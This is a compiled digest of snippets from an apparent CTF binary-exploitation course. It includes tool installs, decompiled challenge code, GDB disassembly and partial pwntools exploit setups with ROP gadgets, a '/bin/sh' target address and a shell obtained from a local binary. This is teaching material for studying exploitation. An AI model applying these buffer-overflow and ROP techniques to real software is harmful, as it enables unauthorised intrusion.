### Install QEMU for ARM Emulation Source: https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index Installs QEMU user-mode emulation for running ARM binaries on a non-ARM system. This is necessary to execute the 'canary' binary. ```bash $ sudo apt-get install qemu-user ``` -------------------------------- ### h3emu Example: Emulating Challenge 0 and Revealing Flag Source: https://guyinatuxedo.github.io/23-custom_architecture/h3_h3machine0/index Demonstrates the output of the h3emu tool when emulating 'challenge0.h3i'. It shows the final stack state, registers, and the extracted flag. ```assembly __ $ ./h3emu challenge0.h3i Stack: ffff: flag{f10b5307} Registers: IP: 0004 SP: ffff Flags: F ``` -------------------------------- ### Start QEMU with GDB Listener Source: https://guyinatuxedo.github.io/34-emulated_targets/csaw17_realism/index This command starts the QEMU emulator for an i386 system, loading a raw disk image named 'main.bin'. It also enables a GDB remote debugging server listening on TCP port 1234 on localhost. ```bash qemu-system-i386 -drive format=raw,file=main.bin -gdb tcp::1234 ``` -------------------------------- ### Install Angr using pip Source: https://guyinatuxedo.github.io/13-angr/securityfest_fairlight/index This command installs the Angr binary analysis framework using pip, the Python package installer. Ensure you have pip installed and potentially use sudo for system-wide installation. ```bash sudo pip install angr ``` -------------------------------- ### Install GDB Multi-Architecture Support Source: https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index Installs the multi-architecture support for GDB, enabling debugging of binaries from different architectures, including ARM. ```bash $ sudo apt-get install gdb-multiarch ``` -------------------------------- ### Exploit Initialization with pwntools Source: https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index This snippet shows the initial setup for an exploit script using the pwntools library. It imports necessary components for interacting with processes and crafting exploits. ```python # This is based off of a Raytheon SI Govs talk # First we import pwntools from pwn import * ``` -------------------------------- ### Install Binutils for ARM Assembly Parsing Source: https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index Installs the GNU Binutils for ARM targets, which includes utilities for disassembling and parsing ARM assembly code. ```bash $ sudo apt-get install binutils-arm-none-eabi ``` -------------------------------- ### Installing Bless Hex Editor Source: https://guyinatuxedo.github.io/23-custom_architecture/h3_h3machine1/index This command demonstrates how to install the 'bless' hex editor using `apt-get` on a Debian-based system. Bless is used to manually patch the binary file. ```bash sudo apt-get install bless ``` -------------------------------- ### Install pipenv Source: https://guyinatuxedo.github.io/23-custom_architecture/h3_h3machine0/index Installs the pipenv tool, a dependency manager for Python projects, which is required for setting up the virtual environment for the H3 Machine emulator. This is a prerequisite for managing project dependencies. ```shell sudo pip install pipenv ``` -------------------------------- ### Run ARM Binary with QEMU Source: https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index Executes the 'canary' binary using qemu-arm. The output shows the welcome message and how the program handles large integer inputs. ```bash $ qemu-arm canary Welcome to hxp's Echo Service! > 15935728 15935728 > 77777777777777777777777777777777777777777777777777777 77777777777777777777777777777777777777777777777777777 ``` -------------------------------- ### Setup pipenv virtual environment Source: https://guyinatuxedo.github.io/23-custom_architecture/h3_h3machine0/index Creates and configures a Python virtual environment using pipenv for the H3 machine emulator project. It installs project dependencies specified in the Pipfile and ensures a clean environment for development. ```shell pipenv --three install ``` -------------------------------- ### C: Canary Function - Entry Point Source: https://guyinatuxedo.github.io/38-grab_bad/csaw18_doubletrouble/index The 'canary' function serves as the entry point, initializing setvbuf and then calling the main 'game' function. Its primary role is to set up standard output buffering and delegate execution. ```c #/* WARNING: Type propagation algorithm not settling */ undefined4 canary(void) { int iVar1; iVar1 = __x86.get_pc_thunk.ax(&stack0x00000004); setvbuf((FILE *)(*(FILE **)(iVar1 + 0x27da))->_flags,(char *)0x0,2,0); game(); return 0; } ``` -------------------------------- ### h3disasm Example: Disassembling Challenge 0 Source: https://guyinatuxedo.github.io/23-custom_architecture/h3_h3machine0/index Shows the output of the h3disasm tool when disassembling 'challenge0.h3i'. This includes the instructions pushed, setf operation, and halt instruction. ```assembly __ $ ./h3disasm challenge0.h3i 0001: 12020400 push $0004 0002: 50040080 setf 8000 0003: 00000000 halt 0004: 07530bf1 ``` -------------------------------- ### Identifying Main Function Start Opcodes Source: https://guyinatuxedo.github.io/20-patching_and_jumping/dcquals18_elfcrumble/index This section highlights a specific three-opcode sequence (0x8d 0x4c 0x24) found in one of the fragments. These opcodes are associated with argument loading and stack setup in assembly, suggesting this fragment belongs at the beginning of the 'main' function. ```assembly 0x8d 0x4c 0x24 ``` -------------------------------- ### Initialization and Key Generation in Zero Storage Source: https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index This C code snippet illustrates the initialization routine that runs before the main menu. It configures standard input/output buffering, sets an alarm for challenge timeouts, and reads 8 bytes from /dev/urandom into a global variable 'GLOBAL_KEY', likely for cryptographic operations. ```c setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); alarm(0x3c); __stream = fopen("/dev/urandom","rb"); if (__stream != (FILE *)0x0) { bytes_read = fread(&GLOBAL_KEY,1,8,__stream); if (bytes_read == 8) { fclose(__stream); return; } } ``` -------------------------------- ### GDB/GEF: Breaking, Running, and Stepping Through Code Source: https://guyinatuxedo.github.io/02-intro_tooling/gdb-gef/index This snippet demonstrates the basic GDB/GEF commands for setting a breakpoint, running the program, and advancing execution instruction by instruction. It's essential for initiating a debugging session and reaching a specific point in the code. ```gdb gef➤ break main gef➤ rungef➤ nextigef➤ nexti ``` -------------------------------- ### Disassembly of `main` function in GDB Source: https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index This snippet shows the assembly code of the `main` function obtained from GDB. It details the stack frame setup, the call to `puts`, and crucially, the `gets` call at `0x4005ec`. The subsequent `leave` and `ret` instructions at `0x4005f6` and `0x4005f7` are where the return address is used. ```assembly __gef➤ disas main Dump of assembler code for function main: 0x00000000004005c7 <+0>: push rbp 0x00000000004005c8 <+1>: mov rbp,rsp 0x00000000004005cb <+4>: sub rsp,0x30 0x00000000004005cf <+8>: mov DWORD PTR [rbp-0x24],edi 0x00000000004005d2 <+11>: mov QWORD PTR [rbp-0x30],rsi 0x00000000004005d6 <+15>: mov edi,0x40068e 0x00000000004005db <+20>: call 0x400470 0x00000000004005e0 <+25>: lea rax,[rbp-0x20] 0x00000000004005e4 <+29>: mov rdi,rax 0x00000000004005e7 <+32>: mov eax,0x0 0x00000000004005ec <+37>: call 0x4004a0 0x00000000004005f1 <+42>: mov eax,0x0 0x00000000004005f6 <+47>: leave 0x00000000004005f7 <+48>: ret End of assembler dump. ``` -------------------------------- ### Python Exploit Setup with Pwntools Source: https://guyinatuxedo.github.io/17-stack_pivot/seccon19_sum/index This Python snippet initializes the exploit. It sets up the target process, either locally or remotely, and preloads a specific libc version. It also loads the ELF binary and the libc shared object for symbol resolution and further exploitation. ```python from pwn import * # Establish the target #target = remote("sum.chal.seccon.jp", 10001) target = process('sum_ccafa40ee6a5a675341787636292bf3c84d17264', env={"LD_PRELOAD":"./libc.so"}) #gdb.attach(target, gdbscript='b *0x4009bf\nb *0x4009a7') # Establish the libc / binary files elf = ELF('sum_ccafa40ee6a5a675341787636292bf3c84d17264') libc = ELF("libc.so") ``` -------------------------------- ### Run Exploit Script and Interact with Target Shell Source: https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index This example shows the execution of the Python exploit script (`exploit.py`) and the subsequent interaction within the obtained interactive shell. It demonstrates starting a local process, entering interactive mode, performing operations with a calculator, and executing shell commands like `ls`. ```bash $ python exploit.py [+] Starting local process './simplecalc': pid 15676 [*] Switching to interactive mode Result for x + y is 0. Options Menu: [1] Addition. [2] Subtraction. [3] Multiplication. [4] Division. [5] Save and Exit. => $ w 20:06:39 up 5:53, 1 user, load average: 1.71, 1.30, 1.37 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT guyinatu :0 :0 14:13 ?xdm? 22:10 0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu $ ls core exploit.py readme.md simplecalc ``` -------------------------------- ### Main Function Analysis (C) Source: https://guyinatuxedo.github.io/20-patching_and_jumping/plaid19_ppp/index This code snippet presents the core function of the binary, responsible for initializing the program's state based on command-line arguments. It handles argument parsing, placement initialization, and calls simulation or checking functions. The function takes the number of arguments and a pointer to the argument array as input. Depending on the arguments provided, it sets up data structures and controls the execution flow, including aborting if unexpected conditions are met. ```C undefined8 FUN_00105948(int arg_count,long param_2) { char cVar1; int intCpy; int first_arg; int i; int j; int k; int current_placement; setup(&x,&y); first_arg = 1; if (arg_count == 1) { puts("Alphabetical it is, I guess."); i = 0; while (i < 0xf) { *(int *)(&placement + (long)i * 0x20) = i; i = i + 1; } } else { if (arg_count != 0x11) { /* WARNING: Subroutine does not return */ abort(); } first_arg = atoi(*(char **)(param_2 + 8)); j = 0; while (j < 0xf) { intCpy = atoi(*(char **)(param_2 + ((long)j + 2) * 8)); *(int *)(&placement + (long)j * 0x20) = intCpy + -1; current_placement = *(int *)(&placement + (long)j * 0x20); if ((current_placement < 0) || (0xe < current_placement)) { /* WARNING: Subroutine does not return */ abort(); } k = 0; while (k < j) { if (current_placement == *(int *)(&placement + (long)k * 0x20)) { /* WARNING: Subroutine does not return */ abort(); } k = k + 1; } j = j + 1; } } if (first_arg == 1) { puts("Simulating the dinner...\n"); simulatingDinner(&x,&y); } else { puts("Checking the dinner...\n"); if (first_arg != 2) { /* WARNING: Subroutine does not return */ abort(); } cVar1 = checkingDinner(&x,&y); if (cVar1 != '\x01') { printf("Your dinner arrangement was unacceptable. We might never finish :("); return 1; } } return 0; } ``` -------------------------------- ### Python Pwntools Exploit Script Setup Source: https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index This Python script uses the pwntools library to set up the exploit for the 'stupidrop' binary. It establishes a process target, attaches GDB for debugging, loads the ELF, defines the architecture, and initializes variables for important gadgets ('syscall', 'popRdi'), functions ('gets', 'alarm'), and the target memory address for '/bin/sh'. ```python from pwn import * # Establish the target target = process('./stupidrop') gdb.attach(target,gdbscript='b *0x400289') elf = ELF('stupidrop') context.arch = "amd64" # Establish needed gadgets syscall = p64(0x40063e) popRdi = p64(0x4006a3) # Establish needed functions gets = p64(elf.symbols['gets']) alarm = p64(elf.symbols['alarm']) # Establish address where we will write "/bin/sh" binshAdr = p64(0x601050) # Filler to return address payload = "" payload += "0"*0x38 ``` -------------------------------- ### File Command Output and Binary Execution Source: https://guyinatuxedo.github.io/13-angr/securityfest_fairlight/index Demonstrates the output of the 'file' command on the 'fairlight' binary, identifying it as a 64-bit ELF executable. Also shows the program's usage message and an example of incorrect input leading to access denial. ```bash __ $ file fairlight fairlight: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=382cac0a89b47b48f6e24cdad066e1ac605bd3e5, not stripped $ ./fairlight useage: ./keygen code $ ./fairlight 15935728 NOPE - ACCESS DENIED! ``` -------------------------------- ### Running the 'beleaf' Binary Source: https://guyinatuxedo.github.io/03-beginner_re/csaw19_beleaf/index This snippet demonstrates the execution of the 'beleaf' binary. It shows the program prompting the user for input (the flag) and then providing incorrect feedback upon receiving sample input. ```bash $ ./beleaf Enter the flag >>> 15935728 Incorrect! ``` -------------------------------- ### Initialize Game Board and Handle User Input (C) Source: https://guyinatuxedo.github.io/33-custom_misc_heap/csaw17_minesweeper/index This C function, `newGame`, initializes a game board, potentially placing a mine randomly. It handles user commands for viewing the board, uncovering locations, and quitting. It uses `/dev/random` for seeding and `customScan` for input, with basic validation for 'U' (uncover), 'V' (view), and 'Q' (quit) commands. ```c __ void newGame(undefined4 parm0,undefined5 *parm1,int parm2,int parm3) { undefined4 *puVar1; int __fd; ssize_t bytesRead; uint randVal; int iVar2; uint seed; undefined4 local_61; undefined4 uStack76; undefined4 input; undefined4 local_44; undefined4 local_40; undefined4 local_3c; int local_38; int local_34; int bytesRead1; int randomFile; uint i; int local_20; uint j; int arg3; int arg2; undefined5 *arg1; input = 0; local_44 = 0; local_40 = 0; local_3c = 0; local_61 = 0; uStack76 = 0; puVar1 = (undefined4 *)0x0; do { *(undefined4 *)((int)&local_61 + 1 + (int)puVar1) = 0; puVar1 = puVar1 + 1; } while (puVar1 < (undefined4 *)((int)&input - ((int)&local_61 + 1))); if (parm1 == (undefined5 *)0x0) { __fd = open("/dev/random",0); if (__fd == -1) { perror("Opening /dev/random failed!"); } bytesRead = read(__fd,&seed,4); if (bytesRead < 1) { perror("Error reading /dev/random"); } srand(seed); i = 0; while (i < 0x19) { *(undefined *)((int)&local_61 + i) = 0x4f; i = i + 1; } randVal = rand(); *(undefined *)((int)&local_61 + randVal % 0x19) = 0x58; arg1 = &local_61; arg2 = 5; arg3 = 5; } else { arg1 = parm1; arg2 = parm2; arg3 = parm3; } print(parm0, "Welcome. The board has been initialized to have a random *mine*placed in the midst. Yourjob is to uncover it. You can:\n1) View Board (V)\n2) Uncover a location (U X Y). Zeroindexed.\n3) Quit game (Q)\n" ); while (bytesRead1 = customScan(parm0,&input,0x10), bytesRead1 != -1) { j = 0; while ((j < 0x10 && ((*(char *)((int)&input + j) == ' ' || (*(char *)((int)&input + j) == '\0'))))) { j = j + 1; } if (j == 0x10) { print(parm0,"Please enter a valid command! V, U, or Q\n"); } else { switch(*(undefined *)((int)&input + j)) { case 0x51: case 0x71: goto LAB_08049050; default: print(parm0,"Please enter a valid command!\n"); break; case 0x55: case 0x75: j = j + 1; if (j == 0x10) { print(parm0,"Not enough arguments to uncover. U X Y\n"); } else { while ((j < 0x10 && ((*(char *)((int)&input + j) == ' ' || (*(char *)((int)&input + j) == '\0'))))) { j = j + 1; } if (j == 0x10) { print(parm0,"Not enough arguments to uncover. U X Y\n"); } else { local_20 = 0; while ((((__fd = local_20, j < 0x10 && (*(char *)((int)&input + j) != ' ')) && (*(char *)((int)&input + j) != '\0')) && ((-1 < (int)*(char *)((int)&input + j) + -0x30 && ((int)*(char *)((int)&input + j) + -0x30 < 10))))) { local_20 = (int)*(char *)((int)&input + j) + -0x30 + local_20 * 10; j = j + 1; } if (j == 0x10) { print(parm0,"Not enough arguments to uncover. U X Y\n"); } else { while ((j < 0x10 && ((*(char *)((int)&input + j) == ' ' || (*(char *)((int)&input + j) == '\0'))))) { j = j + 1; } local_34 = local_20; local_20 = 0; while (((j < 0x10 && (*(char *)((int)&input + j) != ' ')) && (*(char *)((int)&input + j) != '\0')) && ((-1 < (int)*(char *)((int)&input + j) + -0x30 && ((int)*(char *)((int)&input + j) + -0x30 < 10))))) { local_20 = (int)*(char *)((int)&input + j) + -0x30 + local_20 * 10; j = j + 1; } local_38 = local_20; if (local_20 < arg3) { if (__fd < arg2) { __fd = __fd + local_20 * arg2; if (*(char *)((int)arg1 + __fd) == 'X') { print(parm0,"Mine found!\n"); printMaybe?(parm0,arg1,arg2,arg3); return; } *(undefined *)((int)arg1 + __fd) = 0x55; if ((__fd / arg2 != 0) && (__fd - arg2 != -1)) { if (__fd / arg2 == 0) { iVar2 = -1; } else { iVar2 = __fd - arg2; } if (*(char *)((int)arg1 + iVar2) == 'X') { print(parm0,"Mine found!\n"); printMaybe?(parm0,arg1,arg2,arg3); return; } if (__fd / arg2 == 0) { iVar2 = -1; } ``` -------------------------------- ### Install Pwntools CTF Library Source: https://guyinatuxedo.github.io/02-intro_tooling/pwntools/index Installs the Pwntools library using pip. This is the primary method for adding the library to your Python environment for exploit development. ```bash sudo pip install pwn ``` -------------------------------- ### Assembly Code Around 'gets' Call (x86) Source: https://guyinatuxedo.github.io/04-bof_variable/tamu19_pwn1/index This assembly snippet shows the instructions surrounding the 'gets' function call in the 'pwn1' binary. It reveals a comparison operation immediately after 'gets' that checks a specific memory location ('local_18'). If the value matches '0xdea110c8', the 'print_flag' function is called, indicating a potential exploit path. ```assembly __ 000108aa e8 71 fc CALL gets char * gets(char * __s) ff ff 000108af 83 c4 10 ADD ESP,0x10 000108b2 81 7d f0 CMP dword ptr [EBP + local_18],0xdea110c8 c8 10 a1 de 000108b9 75 07 JNZ LAB_000108c2 000108bb e8 3d fe CALL print_flag undefined print_flag() ff ff ``` -------------------------------- ### Binary Information and Execution Source: https://guyinatuxedo.github.io/04-bof_variable/csaw18_boi/index This section shows the output of the 'file' and 'pwn checksec' commands, providing details about the binary's architecture, linking, and security features. It also includes the output of running the binary and providing sample input. ```bash $ file boi boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped $ pwn checksec boi [*] '/Hackery/pod/modules/bof_variable/csaw18_boi/boi' Not an ELF file Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) $ ./boi Are you a big boiiiii?? 15935728 Mon Jun 10 22:07:51 EDT 2019 ``` -------------------------------- ### Install Perf Performance Analyzer Source: https://guyinatuxedo.github.io/22-movfuscation/swamp19_future/index Command to install the Perf performance analysis tool on Debian-based systems. Perf is used for monitoring system and application performance, including instruction counting. ```bash sudo apt-get install linux-tools-generic ``` -------------------------------- ### Start Interactive Shell with Python Source: https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index This snippet initiates an interactive shell session on the target system after a process is started. It assumes a `target.interactive()` function is available within the exploit script to manage the shell. ```python target.interactive() ``` -------------------------------- ### GDB/GEF Breakpoint and Execution Source: https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index This snippet demonstrates setting a breakpoint in GDB/GEF and running the program with specific arguments. It shows how to interact with the debugger to control program execution and observe its state, including register values and stack contents. ```shell gef➤ b *main+175 Breakpoint 1 at 0x8048590 gef➤ r 1593572 7539512 Starting program: /Hackery/pod/modules/heap_overflow/protostarHeap1/heap1 1593572 7539512 ``` -------------------------------- ### Executable Interaction Example Source: https://guyinatuxedo.github.io/36-obfuscated_reversing/csaw15_wyvern/index Demonstrates the interaction with the 'wyvern' executable. It displays the welcome message, the quest description, and the prompt for user input. The example shows a failed attempt to enter the dragon's secret. ```shell ./wyvern +-----------------------+ | Welcome Hero | +-----------------------+ [!] Quest: there is a dragon prowling the domain. brute strength and magic is our only hope. Test your skill. Enter the dragon's secret: 15935728 [-] You have failed. The dragon's power, speed and intelligence was greater. ``` -------------------------------- ### H3 Machine Description and Usage Source: https://guyinatuxedo.github.io/23-custom_architecture/h3_h3machine0/index Provides an overview of the H3 Machine, a stack-based architecture for binary reversing challenges. It details how to run challenge executables with the emulator, including optional tracing, and how to obtain a static disassembly. ```markdown # H3 Machine The H3 Machine is a simple computer designed for writing interesting binary reversing problems. It is a stack machine with no general-purpose registers. # tl;dr Each challenge is an executable image that can be run with the H3 machine emulator. If the challenge runs correctly, it will print out the flag. You can run the challenges like: ./h3emu [--trace] IMAGE [ARG1 [ARG2 [...]]] For example, ./h3emu --trace challenge1.h3i 10 20 30 The --trace flag will print out each instruction as it executes. You can also get a static disassembly with: ./h3disasm IMAGE To get the flag, you may have to modify the challenge image slightly or provide a particular set of arguments. Good luck! # Building make # Developers To run the assembler or code generation, you need [pipenv][] installed. You should say pipenv --three install to get the virtualenv set up. After that, everything should just work. ``` -------------------------------- ### x86-64 Assembly: Main Function Snippet Source: https://guyinatuxedo.github.io/05-bof_callfunction/csaw16_warmup/index This snippet displays a portion of the x86-64 assembly code for the 'main' function. It shows instructions related to memory manipulation, function calls (like 'gets'), and stack frame setup/teardown. The `call 0x400500 ` indicates a call to the 'gets' function, a known source of buffer overflow vulnerabilities due to its lack of bounds checking. ```x86-64 assembly 0x400694 rex.RB ror BYTE PTR [r8-0x77], 0xc7 0x400699 mov eax, 0x0 0x40069e call 0x400500 → 0x4006a3 leave 0x4006a4 ret 0x4006a5 nop WORD PTR cs:[rax+rax*1+0x0] 0x4006af nop 0x4006b0 <__libc_csu_init+0> push r15 0x4006b2 <__libc_csu_init+2> mov r15d, edi ``` -------------------------------- ### Python Exploit Script Setup Source: https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index This Python snippet initializes the 'pwntools' library to interact with a process named './speedrun-001'. It defines variables for ROP gadgets and a write gadget, preparing for exploit construction. ```python from pwn import * target = process('./speedrun-001') #gdb.attach(target, gdbscript = 'b *0x400bad') # Establish our ROP Gadgets popRax = p64(0x415664) popRdi = p64(0x400686) popRsi = p64(0x4101f3) popRdx = p64(0x4498b5) # 0x000000000048d251 : mov qword ptr [rax], rdx ; ret writeGadget = p64(0x48d251) ```